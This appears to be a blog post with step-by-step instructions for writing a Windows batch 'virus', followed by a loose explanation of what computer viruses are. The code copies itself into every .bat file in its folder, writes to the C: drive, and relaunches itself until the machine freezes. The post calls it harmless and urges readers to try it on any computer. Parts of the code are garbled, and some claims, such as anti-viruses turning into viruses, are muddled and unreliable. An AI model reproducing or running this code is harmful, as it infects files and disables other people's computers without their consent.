To create harmless freeze virus

Its a basic harmless type of virus which I am going tell now.These are steps to create self replicating virus which freezes computer untill it is switched off or you can say shut down.

1.Open Notepad or other word processor.

2.Type on the first line, "start virus.bat,"

then, on the next #type the following code:

o @echo off

o for %%f in (*.bat) do copy virus.bat+%%f

if not exist c:\fr.htm echo {{{1}}}>c:\fr.htm

o start virus.bat

3.Save the file as "virus.bat"

and select all files. You can change "virus" to anything you want.

Open the file and it will open so many pointless windows,

your computer will freeze.

Shut down your computer and it will return to normal.

you can try this on any computer.

If you are having any problems you can ask in comments.

What is VIRUS?

We all know that virus is destructive program which can work as non living residence of computer.Of course I am not going to explain the same things but some new points to same things.

Virus is anything which can affect on computer's sound working.It may replicate itself in the memory locations leading it to damage of even hard disk.It can be spread by various methods such as CDs,DVDs,PEN DRIVES means secondary storage devices.It is not necessary that it would spread only through secondary storage devices.It is also seen that most of viruses are spread through downloading content from internet.Some of the anti-viruses are also programmed to work as viruses after their usage.

Virus is actually a executable program which can run either in background without knowing to user or can be get activated after clicking on some files or folders or might be a shortcut to files or folders.This file contains some commands which can be executed by methods mentioned above.

I was asked several times for problem of computer being restarted within very short intervals of time or opening of so many folders at the same time resulting to HANG of the computer or simply shutting down the computer showing some message like "YOUR COMP IS AFFECTED BY _ _ _ VIRUS" etc.

Actually these are nothing but the basic virus programs which can created using NOTEPAD in Ms-Office.

After learning basic virus programming we may get brief idea about viruses,their working & prevention from such simple viruses.

We will discuss on such simple viruses in the next posts.
